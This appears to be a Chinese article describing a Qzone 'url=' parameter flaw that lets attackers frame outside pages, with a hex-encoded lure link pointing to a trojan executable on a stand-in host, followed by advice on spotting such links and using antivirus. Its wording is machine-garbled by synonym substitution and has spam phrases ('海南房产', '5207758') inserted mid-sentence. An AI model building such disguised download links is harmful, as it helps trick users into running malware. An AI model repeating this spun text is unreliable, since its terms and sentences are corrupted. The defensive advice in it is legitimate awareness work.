[摘要]520资源网...
因为QQ在桌面IM规模占有着绝对霸主职位，在其身上衍生的各类产物也变得日益风行，而Qzone也逐渐成为网友誊写日记和展示本性的处所。因此，Qzone的安详性也备受存眷。不外，Qzone克日却爆出了一个跨站裂痕，这个裂痕很是轻易被黑客操作。那么，黑客一样平常会怎样通过这个裂痕来进攻平凡用户呢？作为用户，我们又怎样来防御这一裂痕的危害呢？一、模仿黑客进攻
这里，我们起首来相识这个裂痕的详细环境。Qzone的跨站裂痕是网友有时中打开相同“http://user.qzone.qq.com/QQ号码?url=恣意字母”时发明的，这时网页表现为一个框架网页，中间为"无法打开网页"的空缺页面（如图1）；然而，当输入相同“http://user.qzone.qq.com/QQ号码?url=http://www.baidu.com”的地点时却可以正常表现，这时url后的网址着实在幕后是加载的。那么，Qzone的跨站裂痕又是怎样被黑客作为木马的前言的呢？
 |
| Qzone默认加载的地点要警惕 |
第一步：黑客必要对该地点举办乔装乔妆一番。好比：网页木马的url为"http://www.muma.com/muma.exe"。黑客会行使URl加密技能来为木马地点作呵护，常用的要领是把url地点转换为16进制，这里以ASCII码随心换为例（如图2）举办树模。
 |
| 黑客常用URL伪装器 |
第二步：黑客将Qzone的地点配置为"http://user.qzone.qq.com/QQ号码?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%6D%75%6D%61%2E%63%6F%6D%2F%6D%75%6D%61%2E%65%78%65"并在网页上贴出Qzone的地点来引诱网友点击，用户每每点击了该地点下载运行了木马还蒙在鼓里。
二、怎样防御Qzone进攻
要领1：既然这一跨站裂痕这么潜伏，用户传染的几率也不会低。我们必要怎样来防御这一裂痕也许造成的危害呢？做到不风行症毒，未雨绸缪是最有结果的。因此，我们在会见网友的Qzone前，要多长几个心眼，要调查其网址的情势。
一样平常正常的Qzone的地点是"http://user.qzone.qq.com/号码"可能"http://号码.qzone.qq.com/"情势的，假如呈现"http://user.qzone.qq.com/QQ号码?url="的地点就要审慎了，Qzone也也许呈现相同"http://user.qzone.qq.com/号码/?url=http%3A//photo.qq.com/tips_jump.htm%23uin%3D号码%26albumid%3D393029702%26photoid%3D"的地点，假如地点内里完全没有QQ的地点段，那么为了防备下载运行网页木马，可以将url后的字符输入到ASCII码随心换举办转换（假如是像以上地点的名目，可以将%后的十六进制字符逐个举办转换来得到完备地点），假如url指向可执行文件就不能点击了。
要领2：为了防备体系被栽培网页木马，还可以安装杀毒软件和防火墙并必要开始及时文件和收集监控，这样纵然下载了网页木马也会被破除。假如发明白可疑的Qzone地点要实时举报，海南房产，让黑客成为过街老鼠，毫无藏身之处。
小结：Qzone的跨站裂痕被用来栽培木马具有受众广的特点，5207758，Qzone的地点颠末加密化妆后，又有几小我私人会细心地举办甄别呢？因此，操作人们偷窥人家隐私空间的好奇心来撒播木马是很有结果的。
着实，要防御Qzone地点在你的电脑栽培木马也不难，最简朴的要领就是只点击QQ资料里的Qzone地点，不去其他网站点击就可以了。其它，必要利器具有防御IE裂痕的安详器材和杀毒软件来查杀这类木马的下载安装，如：瑞星卡卡。携带木马的Qzone地点一经发明要顿时关照网友，决不将就，不让其他人成为黑客的捐躯品。同时，每次Qzone提醒进级我们也最好进级不消嫌贫困而打消进级，以免被黑客操作其他未知的裂痕。